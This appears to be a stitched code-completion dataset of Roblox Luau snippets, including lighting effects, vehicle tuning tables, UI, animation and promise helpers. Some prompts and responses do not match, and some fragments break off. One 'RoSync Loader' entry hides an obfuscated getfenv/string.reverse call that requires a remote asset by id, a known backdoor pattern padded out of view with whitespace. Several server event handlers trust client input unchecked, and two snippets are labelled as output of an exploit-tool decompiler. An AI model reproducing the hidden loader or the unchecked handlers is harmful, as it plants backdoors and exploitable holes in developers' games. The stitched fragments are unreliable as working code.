Prompt: --local BulbSet ={}

Response:
local children = model:GetChildren()
for i = 1, #children do
	if children[i].Name == "Light" then
		table.insert(LightSet, children[i])
		table.insert(LightStartingBrightnesses, children[i].SpotLight.Brightness)
	end
end

local function PlaySound()
	model["Sound"]:Play()
end

local function evalNS(ns, time)
	-- If we are at 0 or 1, return the first or last value respectively
	if time == 0 then return ns.Keypoints[1].Value end
	if time == 1 then return ns.Keypoints[#ns.Keypoints].Value end
	-- Step through each sequential pair of keypoints and see if alpha
	-- lies between the points' time values.
	for i = 1, #ns.Keypoints - 1 do
		local this = ns.Keypoints[i]
		local next = ns.Keypoints[i + 1]
		if time >= this.Time and time < next.Time then
			-- Calculate how far alpha lies between the points
			local alpha = (time - this.Time) / (next.Time - this.Time)
			-- Evaluate the real value between the points using alpha
			return (next.Value - this.Value) * alpha + this.Value
		end
	end
end

local function touched(otherPart)
	if(otherPart.Name == "HumanoidRootPart" ) then
		local player = game.Players:FindFirstChild(otherPart.Parent.Name)
		if(player) then
			trigger.CanTouch = false

			PlaySound()
			wait (.4)

			script.Parent.Light.ParticleEmitter.Enabled = true

			for i = 0,loopCount do
				local t = 0.0
				while t < 1.0 do
					for i = 1, #LightSet do
						--local randomized_t = math.round(t + i * 0.1)
						local spotlights = LightSet[i]:GetChildren()
						LightSet[i].Transparency = 1 - evalNS(trigger:GetAttribute("Flicker"), t)
						for j = 1, #spotlights do
							spotlights[j].Brightness = evalNS(trigger:GetAttribute("Flicker"), t) * 1 ---LightStartingBrightnesses[i]
						end
					end

					t += dt
					wait(0.01)
				end
			end

			for i = 1, #LightSet do
				LightSet[i].SpotLight.Brightness = .25 --LightStartingBrightnesses[i]
			end

			wait(90)
			trigger.CanTouch = true
		end
	end
end

trigger.Touched:Connect(touched)


Prompt: --All sounds are referenced by this ID

Response:
local SFX = {
	Died = 0;
	Running = 1;
	Swimming = 2;
	Climbing = 3,
	Jumping = 4;
	GettingUp = 5;
	FreeFalling = 6;
	FallingDown = 7;
	Landing = 8;
	Splash = 9;
}

local Humanoid = nil
local Head = nil


Prompt: -- Services

Response:
local ContextActionService = game:GetService 'ContextActionService'
local UserInputService = game:GetService 'UserInputService'


Prompt:
--[[
	Create a promise that represents the immediately rejected value.
]]

Response:
function Promise.reject(value)
	return Promise.new(function(_, reject)
		reject(value)
	end)
end


Prompt:
--[[
	Fires when the local player's MouseButton1 interacts with the
	`ExitButton` GUI. Sets `Interacting` BoolValue to false.
	Returns: None
]]

Response:
--
function hide()
	MainFrame.Visible = false
	InteractionButton.Visible = false
	InteractionBillboard.Enabled = true

	-- Unfreeze the player
	humanoid.WalkSpeed = prevWalkSpeed or humanoid.WalkSpeed
	humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)
end

function show()
	MainFrame.Visible = true
	InteractionButton.Visible = false
	InteractionBillboard.Enabled = false

	-- Freeze the player
	prevWalkSpeed = humanoid.WalkSpeed
	humanoid.WalkSpeed = 0
	humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
end


Response:
Evt.Ombro.OnServerEvent:Connect(function(Player,Vitima)
	local Nombre
	for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do
	if SKP_002:IsA('Player') and SKP_002 ~= Player and SKP_002.Name == Vitima then
		if SKP_002.Team == Player.Team then
			Nombre = Player.Name
		else
			Nombre = "Someone"
		end
		Evt.Ombro:FireClient(SKP_002,Nombre)
		end
	end
end)

Evt.Target.OnServerEvent:Connect(function(Player,Vitima)
	Player.Character.Saude.Variaveis.PlayerSelecionado.Value = Vitima
end)

Evt.Render.OnServerEvent:Connect(function(Player,Status,Vitima)
		if Vitima == "N/A" then
			Player.Character.Saude.Stances.Rendido.Value = Status
		else

			local VitimaTop = game.Players:FindFirstChild(Vitima)
		if VitimaTop.Character.Saude.Stances.Algemado.Value == false then
			VitimaTop.Character.Saude.Stances.Rendido.Value = Status
			VitimaTop.Character.Saude.Variaveis.HitCount.Value = 0
		end
	end
end)

Evt.Drag.OnServerEvent:Connect(function(player)
	local Human = player.Character.Humanoid
	local enabled = Human.Parent.Saude.Variaveis.Doer
	local MLs = Human.Parent.Saude.Variaveis.MLs
	local Caido = Human.Parent.Saude.Stances.Caido
	local Item = Human.Parent.Saude.Kit.Epinefrina

	local target = Human.Parent.Saude.Variaveis.PlayerSelecionado

	if Caido.Value == false and target.Value ~= "N/A" then

		local player2 = game.Players:FindFirstChild(target.Value)
		local PlHuman = player2.Character.Humanoid

		local Sangrando = PlHuman.Parent.Saude.Stances.Sangrando
		local MLs = PlHuman.Parent.Saude.Variaveis.MLs
		local Dor = PlHuman.Parent.Saude.Variaveis.Dor
		local Ferido = PlHuman.Parent.Saude.Stances.Ferido
		local PlCaido = PlHuman.Parent.Saude.Stances.Caido
		local Sang = PlHuman.Parent.Saude.Variaveis.Sangue

		if enabled.Value == false then

		if PlCaido.Value == true or PlCaido.Parent.Algemado.Value == true then
		enabled.Value = true

		coroutine.wrap(function()
        while target.Value ~= "N/A" and PlCaido.Value == true and PlHuman.Health > 0 and Human.Health > 0 and Human.Parent.Saude.Stances.Caido.Value == false or target.Value ~= "N/A" and PlCaido.Parent.Algemado.Value == true do wait() pcall(function()
                player2.Character.Torso.Anchored ,player2.Character.Torso.CFrame = true,Human.Parent.Torso.CFrame*CFrame.new(0,0.75,1.5)*CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
				enabled.Value = true
        end) end
        pcall(function() player2.Character.Torso.Anchored=false
		enabled.Value = false
		end)
		end)()

		enabled.Value = false
		end
		end
	end
end)

Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)
	Player.Character.Saude.FireTeam.SquadName.Value = SquadName
	Player.Character.Saude.FireTeam.SquadColor.Value = SquadColor
end)

Evt.Afogar.OnServerEvent:Connect(function(Player)
	Player.Character.Humanoid.Health = 0
end)


Prompt: -- Create the path object

Response: local path = PathfindingService:CreatePath()


Prompt:
--[[
	Gamepad Character Control - This module handles controlling your avatar using a game console-style controller

	2018 PlayerScripts Update - AllYourBlox
--]]

Response:
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")


Prompt:
--[[
    A component that establishes a connection to a Roblox event when it is rendered.
]]

Response:
local Roact = require(script.Parent.Parent.Packages.Roact)

local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")

function ExternalEventConnection:init()
	self.connection = nil
end


Prompt: --Casts a ray. It will ignore nearly transparent objects and the tool's parent.

Response:
function CastRay(StartPos,Direction,Length)
	local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(StartPos,Direction * Length))
	if Hit then
		if (not Tool.Parent or Hit:IsDescendantOf(Tool.Parent)) or Hit.Transparency > 0.9 then
			return CastRay(EndPos + (Direction * 0.01),Direction,Length - ((StartPos - EndPos).magnitude))
		end
	end

	return EndPos
end


Prompt:
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder

]]--
-- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
local v1 = {
	I = 1,
	V = 5,
	X = 10,
	L = 50,
	C = 100,
	D = 500,
	M = 1000
};
local u2 = { 1, 5, 10, 50, 100, 500, 1000 };
local u3 = { "I", "V", "X", "L", "C", "D", "M" };
return function(p1)
	p1 = tonumber(p1);
	if not p1 or p1 ~= p1 then
		error("Unable to convert to number");
	end;
	if p1 == math.huge then
		error("Unable to convert infinity");
	end;
	p1 = math.floor(p1);
	if p1 <= 0 then
		return p1;
	end;
	local v2 = "";
	for v3 = #u2, 1, -1 do
		local v4 = u2[v3];
		while p1 - v4 >= 0 and p1 > 0 do
			v2 = v2 .. u3[v3];
			p1 = p1 - v4;
		end;
		for v5 = 1, v3 - 1 do
			local v6 = u2[v5];
			if p1 - (v4 - v6) >= 0 and p1 < v4 and p1 > 0 and v4 - v6 ~= v6 then
				v2 = v2 .. u3[v5] .. u3[v3];
				p1 = p1 - (v4 - v6);
				break;
			end;
		end;
	end;
	return v2;
end;


Response:
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			for r=1,7 do
				This.Display["DIG"..ID]["D"..r].BrickColor = (l:sub(r,r) == "1" and BrickColor.new("Really red") or BrickColor.new("Really black"))
			end
		end
	end
end


Response:
local y = (PlayerMouse.Y - Brightness.AbsolutePosition.Y) / Brightness.AbsoluteSize.Y
Brightness.Picker.Position = UDim2.new(.5, 0, y, 0)
v = 1 - y
Brightness.ImageColor3 = Color3.fromHSV(h, s, 1)
Preview.ImageColor3 = Color3.fromHSV(h, s, v)
ChangeColorEvent:FireServer(Preview.ImageColor3)


Prompt: -- Print that runs only if debug mode is active.

Response:
local function PrintDebug(message: string)
	if FastCast.DebugLogging == true then
		print(message)
	end
end


Prompt: ---------------------------------------Function start here.

Response:
if (Tool.Enabled == false) then
return false
end--end for if!


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then

		local repeatAnim = currentAnim
		-- return to idle if finishing an emote
		if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
			repeatAnim = "idle"
		end

		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.0, Humanoid)
		setAnimationSpeed(animSpeed)
	end
end


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 50		-- 1 - 100%
	Tune.RDiffLockThres	= 50		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["JestConsole"]["JestConsole"])

export type Console = Package.Console
export type ConsoleOptions = Package.ConsoleOptions
export type BufferedConsole = Package.BufferedConsole
export type CustomConsole = Package.CustomConsole
export type ConsoleBuffer = Package.ConsoleBuffer
export type LogMessage = Package.LogMessage
export type LogType = Package.LogType
export type LogEntry = Package.LogEntry
export type InspectOptions = Package.InspectOptions

return Package


Prompt: -- Returns all objects under instance with Transparency

Response:
local function GetTransparentsRecursive(instance, partsTable)
	local partsTable = partsTable or {}
	for _, child in pairs(instance:GetChildren()) do
		if child:IsA('BasePart') or child:IsA('Decal') then
			table.insert(partsTable, child)
		end
		GetTransparentsRecursive(child, partsTable)
	end
	return partsTable
end

local function SelectionBoxify(instance)
	local selectionBox = Instance.new('SelectionBox')
	selectionBox.Adornee = instance
	selectionBox.Color = BrickColor.new('Really red')
	selectionBox.Parent = instance
	return selectionBox
end

local function Light(instance)
	local light = PointLight:Clone()
	light.Range = light.Range + 2
	light.Parent = instance
end

local function FadeOutObjects(objectsWithTransparency, fadeIncrement)
	repeat
		local lastObject = nil
		for _, object in pairs(objectsWithTransparency) do
			object.Transparency = object.Transparency + fadeIncrement
			lastObject = object
		end
		wait()
	until lastObject.Transparency >= 1 or not lastObject
end

local function Dematerialize(character, humanoid, firstPart)
	humanoid.WalkSpeed = 0

	local parts = {}
	for _, child in pairs(character:GetChildren()) do
		if child:IsA('BasePart') then
			child.Anchored = true
			table.insert(parts, child)
		elseif child:IsA('LocalScript') or child:IsA('Script') then
			child:Destroy()
		end
	end

	local selectionBoxes = {}

	local firstSelectionBox = SelectionBoxify(firstPart)
	Light(firstPart)
	wait(0.05)

	for _, part in pairs(parts) do
		if part ~= firstPart then
			table.insert(selectionBoxes, SelectionBoxify(part))
			Light(part)
		end
	end

	local objectsWithTransparency = GetTransparentsRecursive(character)
	FadeOutObjects(objectsWithTransparency, 0.1)

	wait(0.5)

	humanoid.Health = 0
	DebrisService:AddItem(character, 2)

	local fadeIncrement = 0.05
	Delay(0.2, function()
		FadeOutObjects({firstSelectionBox}, fadeIncrement)
		if character then
			character:Destroy()
		end
	end)
	FadeOutObjects(selectionBoxes, fadeIncrement)
end

local function OnTouched(shot, otherPart)
	local character, humanoid = FindCharacterAncestor(otherPart)
	if character and humanoid and character ~= Character then
		ApplyTags(humanoid)
		if shot then
			local hitFadeSound = shot:FindFirstChild(HitFadeSound.Name)
			if hitFadeSound then
				hitFadeSound.Parent = humanoid.Torso
				hitFadeSound:Play()
			end

		end
		Dematerialize(character, humanoid, otherPart)
	end
end

local function OnEquipped()
	Character = Tool.Parent
	Humanoid = Character:WaitForChild('Humanoid')
	Player = PlayersService:GetPlayerFromCharacter(Character)
end

local function OnActivated()
	if Tool.Enabled and Humanoid.Health > 0 then
		Tool.Enabled = true

		FireSound:Play()

		local handleCFrame = Handle.CFrame
		local firingPoint = handleCFrame.p + handleCFrame:vectorToWorldSpace(NOZZLE_OFFSET)
		local shotCFrame = CFrame.new(firingPoint, Humanoid.TargetPoint)

		local laserShotClone = BaseShot:Clone()
		laserShotClone.CFrame = shotCFrame + (shotCFrame.lookVector * (BaseShot.Size.Z / 2))
		local bodyVelocity = Instance.new('BodyVelocity')
		bodyVelocity.velocity = shotCFrame.lookVector * SHOT_SPEED
		bodyVelocity.Parent = laserShotClone
		laserShotClone.Touched:connect(function(otherPart)
			OnTouched(laserShotClone, otherPart)
		end)
		DebrisService:AddItem(laserShotClone, SHOT_TIME)
		laserShotClone.Parent = Tool

		ReloadSound:Play()

		Tool.Enabled = true
	end
end

local function OnUnequipped()

end


Prompt: -- LOCAL FUNCTIONS

Response:
local function checkTopbarEnabled()
	local success, bool = xpcall(function()
		return starterGui:GetCore("TopbarEnabled")
	end,function(err)
		--has not been registered yet, but default is that is enabled
		return true
	end)
	return (success and bool)
end

local function checkTopbarEnabledAccountingForMimic()
	local topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)
	return topbarEnabledAccountingForMimic
end


Prompt: --[[Shutdown]]

Response: car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then script.Parent:Destroy() end end)


Prompt:
--[[
	~= EXAMPLE CODE =~
	return function(gui,gTable,guiData)
		local name = gTable.Name
		if name == "YesNoPrompt" then
			local new = Instance.new("ScreenGui")
			local frame = Instance.new("Frame",new)
			frame.Size = UDim2.new(0,400,0,400)
			local yes = Instance.new("TextButton",frame)
			yes.Size = UDim2.new(0.5,0,1,0)
			yes.Text = "Yes"
			local no = yes:Clone()
			no.Text = "No"
			no.Position = UDim2.new(0.5,0,0,0)

			local gTable,gIndex = client.UI.Register(new)

			local ans
			local waiting = true

			gTable.CustomDestroy = function()
				waiting = false
			end

			yes.MouseButton1Click:Connect(function()
				ans = "Yes"
				gTable:Destroy()
			end)

			no.MouseButton1Click:Connect(function()
				ans = "No"
				gTable:Destroy()
			end)

			repeat wait() until ans or not waiting  --// Wait until answer
			return ans or false
		end
	end

--]]

Response:
service = nil
client = nil

return function(gui: ScreenGui, guiData, gTable)
	local TWEEN_TIME = 2
	local SEQUENCE = {
		Color3.fromRGB(255, 85, 88),
		Color3.fromRGB(78, 140, 255),
		Color3.fromRGB(78, 255, 149)
	}
	local CLASSES = {
		Frame = true;
		TextBox = true;
		TextLabel = true;
		TextButton = true;
		ImageLabel = true;
		ImageButton = true;
		ScrollingFrame = true;
	}

	local contents = {}
	local OrgColors = {}

	local function getCont(obj)
		for _, v in obj:GetChildren() do
			if CLASSES[v.ClassName] then
				local OrgColor = {}
				OrgColor.Background = v.BackgroundColor3
				if v:IsA("ImageLabel") or v:IsA("ImageButton") then
					OrgColor.Image = v.ImageColor3
				end
				OrgColors[v] = OrgColor
				table.insert(contents, v)
				getCont(v)
			end
		end
	end

	getCont(gui)

	if gTable.Name == "List" then
		gui.Drag.Main.BackgroundTransparency = 0
	end

	local function tweenToColor(color1, color2, time)
		local Info = TweenInfo.new(time, Enum.EasingStyle.Linear)
		for _, v in contents do
			local orgcolor = OrgColors[v]
			v.BackgroundColor3 = color1:lerp(orgcolor.Background, 0.75)
			if orgcolor.Image then
				v.ImageColor3 = color1:lerp(orgcolor.Image, 0.75)
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75),
					ImageColor3 = color2:lerp(orgcolor.Image, 0.75)
				}):Play()
			else
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75)
				}):Play()
			end
		end
		task.wait(time)
	end

	service.TrackTask(`Thread: Colorize_{gTable.Name}`,function()
		repeat
			for i in SEQUENCE do
				local one, two = SEQUENCE[i], SEQUENCE[i+1] or SEQUENCE[1]

				tweenToColor(one, two, TWEEN_TIME)
			end
		until not task.wait(if gTable.Active then 0 else 1) and gTable.Destroyed

	end)
end


Prompt:
--[[
function Thread:Wait(t)
	if t ~= nil then
		local TotalTime = 0
		TotalTime = TotalTime + RunService.Heartbeat:Wait()
		while TotalTime < t do
			TotalTime = TotalTime + RunService.Heartbeat:Wait()
		end
	else
		RunService.Heartbeat:Wait()
	end
end

function Thread:Spawn(callback)
	coroutine.resume(coroutine.create(callback))
end

function Thread:Delay(t, callback)
	local timer = Timer.new()
	timer:SetActive(true)
	timer:FireOnTimeReached(t, function()
		self:Spawn(callback)
		timer:Destroy()
	end)
end
]]

Response:
function Thread:Wait(t)
	if t ~= nil then
		task.wait(t)
	else
		task.wait()
	end
end

function Thread:Spawn(callback)
	task.spawn(callback)
end

function Thread:Delay(t, callback)
	task.delay(t, callback)
end

return Thread


Prompt: --[[ Last synced 2/17/2021 07:26                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --ignore table stuff

Response:
workspace.DescendantAdded:Connect(function(WHAT)
	if WHAT:IsA("Accessory") or WHAT:IsA("Hat") or WHAT.Name == "HumanoidRootPart" then
		--print("added "..WHAT.Name)
		table.insert(rayignore, WHAT)
	elseif WHAT:IsA("BasePart") and not WHAT.CanCollide and not WHAT.Parent:FindFirstChildOfClass("Humanoid") then
		--print("found nocollide")
		table.insert(rayignore, WHAT)
	end
end)
workspace.DescendantRemoving:Connect(function(WHAT)
	local findthing = table.find(rayignore, WHAT)
	if findthing then
		--print("removed "..WHAT.Name)
		table.remove(rayignore, findthing)
	end
end)

for i,v in pairs(workspace:GetDescendants()) do
	if v:IsA("Accessory") or v:IsA("Hat") or v.Name == "HumanoidRootPart" then
		--print("added "..v.Name.." on start")
		table.insert(rayignore, v)
	elseif v:IsA("BasePart") and not v.CanCollide and not v.Parent:FindFirstChildOfClass("Humanoid") then
		--print("found nocollide on start")
		table.insert(rayignore, v)
	end
end


Prompt: ------/// PUT IN Workspace OR ServerScriptStorage <3 \\\------


Prompt: -- Format params: N/A

Response: local ERR_OBJECT_DISPOSED = "This ActiveCast has been terminated. It can no longer be used."


Prompt: -- A collection of instances that may be parented to another instance.

Response: export type Children = Instance | StateObject<Children> | {[any]: Children}


Prompt:
--[[

	DEVELOPMENT MOVED!

	NEW LOADER:
	https://www.roblox.com/library/2373505175/Adonis-Loader-BETA

--]]


Prompt: --[[Engine]]

Response:
	--		[TORQUE CURVE VISUAL]
	--		Gas Engine: https://www.desmos.com/calculator/nap6stpjqf
	--		Electric Engine: https://www.desmos.com/calculator/ion9q7zp9t
	--		Use sliders to manipulate values
	--		Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.

	Tune.Engine 		= true		-- Enables or disables gas engine
									-- TORQUE CURVE: https://www.desmos.com/calculator/nap6stpjqf

	Tune.Horsepower		= 602
	Tune.IdleRPM		= 700
	Tune.PeakRPM		= 8000
	Tune.Redline		= 8250
	Tune.EqPoint		= 5252
	Tune.PeakSharpness	= 20
	Tune.CurveMult		= 0.2

	Tune.Electric		= false		-- Enables or disables electric engine
									-- TORQUE CURVE: https://www.desmos.com/calculator/ion9q7zp9t

	Tune.ElecHorsepower		= 223
	Tune.ElecMaxTorque		= 173

	Tune.ElecTransition1	= 4000
	Tune.ElecHpFrontMult	= 0.15

	Tune.ElecTransition2	= 9000
	Tune.ElecHpEndMult		= 2.9
	Tune.ElecHpEndPercent	= 10
	Tune.ElecTqEndMult		= 1.5
	Tune.ElecTqEndPercent	= 27

	Tune.ElecRedline		= 16000

	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Turbo Settings
	Tune.Aspiration		= "Natural"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger
		"Super"			: Supercharger												]]

	Tune.Boost			= 5			-- Max PSI (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 80		-- Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 6			-- The compression ratio (look it up)
	Tune.Sensitivity	= 0.05		-- How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)

	--Misc
	Tune.RevAccel		= 250		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.Flywheel		= 500		-- Flywheel weight (higher = faster response, lower = more stable RPM)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
return function(p1, p2)
	coroutine.wrap(function()
		while not p1.Parent do
			v1.RenderStepped();
		end;
		v1.GUIFX.Rainbow(p1.ImageLabel, "ImageColor3", 3);
		v1.GUIFX.Rainbow(p1.title, "TextColor3", 3);
	end)();
end;


Prompt: -- Get a reference to an existing object

Response: local original = workspace.Main -- Сохраняем в переменную оригинальный объект


Prompt: --[[ Public API ]]

Response:
--
function MasterControl:Init()

	local renderStepFunc = function()
		if LocalPlayer and LocalPlayer.Character then
			local humanoid = self:GetHumanoid()
			if not humanoid then return end

			if humanoid and not humanoid.PlatformStand and isJumping then
				humanoid.Jump = isJumping
			end

			local adjustedMoveValue = moveValue
			if HasVRAPI and UserInputService.VREnabled and workspace.CurrentCamera.HeadLocked then
				local vrFrame = UserInputService.UserHeadCFrame
				local lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit
				local rotation = CFrame.new(Vector3.new(0, 0, 0), lookVector)
				adjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue)
			end

			moveFunc(LocalPlayer, adjustedMoveValue, true)

		end
	end

	local success = pcall(function() RunService:BindToRenderStep("MasterControlStep", Enum.RenderPriority.Input.Value, renderStepFunc) end)

	if not success then
		if RenderSteppedCon then return end
		RenderSteppedCon = RunService.RenderStepped:connect(renderStepFunc)
	end
end

function MasterControl:Disable()
	local success = pcall(function() RunService:UnbindFromRenderStep("MasterControlStep") end)
	if not success then
		if RenderSteppedCon then
			RenderSteppedCon:disconnect()
			RenderSteppedCon = nil
		end
	end

	moveValue = Vector3.new(0,0,0)
	isJumping = false
end

function MasterControl:AddToPlayerMovement(playerMoveVector)
	moveValue = Vector3.new(moveValue.X + playerMoveVector.X, moveValue.Y + playerMoveVector.Y, moveValue.Z + playerMoveVector.Z)
end

function MasterControl:GetMoveVector()
	return moveValue
end

function MasterControl:SetIsJumping(jumping)
	isJumping = jumping
end

function MasterControl:DoJump()
	local humanoid = self:GetHumanoid()
	if humanoid then
		humanoid.Jump = true
	end
end

return MasterControl


Response:
local force = Instance.new("BodyForce")
force.Parent = torso
f = force
wait(0.01)
elseif ison == 0 then
if arms then
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
f.Parent = nil
arms[2].Name = "Right Leg"
arms[1].Name = "Left Leg"
welds[1].Parent = nil
welds[2].Parent = nil
Tool.Parent.Humanoid.WalkSpeed = 16
end
end


Prompt:
--[[

	Thanks for using my GameAnalytics module! PM me (ByDefault) with any suggestions, bugs or feedback in
	general!

	To start using the module, follow these steps:

	1. Create an account on gameanalytics.com and create a game
	2. Get your game key and secret key
	3. Require this module ( require(GameAnalytics) )
	4. Call :Init(GameKey, SecretKey) on the module
	5. You're ready!

	To send events, follow these steps:

	1. Create a table for the event, like so:
		local eventTable = {
			["category"] = "design",
			["event_id"] = "Game:RoundStart:Spleef",
		}
	2. Call :SendEvent(EventTable) on the module, letting the only parameter be the eventTable you just made
	3. That's it! Your event will automatically be sent within 15 seconds!

	It may take a few minutes for your event to appear in the gameanalytics realtime page and every
	other page gets refreshed with the newest data daily.

	Resources:
	 REST API Docs: http://www.gameanalytics.com/docs/rest-api
	 Account Management: http://www.gameanalytics.com/docs/account-management
	 FAQ: http://www.gameanalytics.com/docs/faq

--]]

Response: script:remove()


Prompt: --[[~{ Created by Dan_PanMan }~]]

Response:
--

local datastore = game:GetService("DataStoreService") --changing will break the script
local valueData = datastore:GetDataStore("fhalcinx8wefy2p91243532") -- DO NOT CHANGE! If you change all the data will be reset. Tip: Keep the name random so hackers wont be able to guess it.

local startingValueAmount = 0 --the amount of coins you want the player to start off with.
local valueName = "Coins" --the stat name


Prompt: --workspace.CurrentCamera.CameraSubject = script.Parent:WaitForChild("Head")

Response:
local h = script.Parent:WaitForChild("Humanoid") :: Humanoid
h.CameraOffset = Vector3.new(0,0,-1)

RunService.RenderStepped:Connect(function()
	for _,p in pairs(script.Parent:GetChildren()) do
		if p:IsA("BasePart") and p.Name ~= "Head" then --and p.Name ~= "UpperTorso" then
			p.LocalTransparencyModifier = 0
		end
		--if p:IsA("BasePart") and string.find(p.Name, "Hand") then
		--	p.LocalTransparencyModifier = 0
		--end
	end
end)


Prompt:
--[[
	GoogleAnalytics Reporter is designed to provide a simple interface for
	your GoogleAnalytics dashboard.
]]

Response: local configuration = require(script.Parent.Parent.Parent.Config)


Prompt: --local lightCurve = model.Light.SpotLight.Flicker

Response:
local loopCount = 5

local LightSet = {}
local LightStartingBrightnesses = {}


Prompt:
--///////////////////////// Constructors
--//////////////////////////////////////

Response:
function module.new()
	local obj: any = setmetatable({}, methods)
	obj.SayMessageRequest = nil

	return obj
end

return module.new()


Prompt:
-- ROBLOX deviation: because of deviations in other functions, this function is
-- not needed. If we need to bring it, it should return true if Component is a
-- class component, and false if a function component
-- local function shouldConstruct(Component)
-- 	local prototype = Component.prototype
-- 	return not not (prototype and prototype.isReactComponent)
-- end

Response:
local function describeUnknownElementTypeFrameInDEV(
	type: any,
	source: nil | Source,
	-- ROBLOX deviation: owner could be a class component
	ownerFn: nil | ReactComponent<any>
): string
	if not _G.__DEV__ then
		return ""
	end
	if type == nil then
		return ""
	end

	-- ROBLOX deviation: in JavaScript, if `type` contains a class, typeof will
	-- return "function". We need to specifically check for the class.
	if typeof(type) == "table" and typeof(type.__ctor) == "function" then
		-- ROBLOX deviation: since Roact class components are tables, we can't
		-- count on describeClassComponent being a thin wrapper for
		-- describeFunctionComponent like upstream does implicitly
		return describeClassComponentFrame(type, source, ownerFn)
	end

	if typeof(type) == "function" then
		-- ROBLOX DEVIATION: ignore enableComponentStackLocations
		-- if enableComponentStackLocations then
		-- 	-- ROBLOX deviation: since functions and classes have different
		-- 	-- types in Lua, we already know that shouldConstruct would return
		-- 	-- false
		-- 	return describeNativeComponentFrame(type, false)
		-- else
		-- 	return describeFunctionComponentFrame(type, source, ownerFn)
		-- end
		return describeFunctionComponentFrame(type, source, ownerFn)
	end

	if typeof(type) == "string" then
		return describeBuiltInComponentFrame(type, source, ownerFn)
	end

	if type == REACT_SUSPENSE_TYPE then
		return describeBuiltInComponentFrame("Suspense", source, ownerFn)
	elseif type == REACT_SUSPENSE_LIST_TYPE then
		return describeBuiltInComponentFrame("SuspenseList", source, ownerFn)
	end

	if typeof(type) == "table" then
		local typeProp = type["$$typeof"]
		if typeProp == REACT_FORWARD_REF_TYPE then
			return describeFunctionComponentFrame(type.render, source, ownerFn)
		elseif typeProp == REACT_MEMO_TYPE then
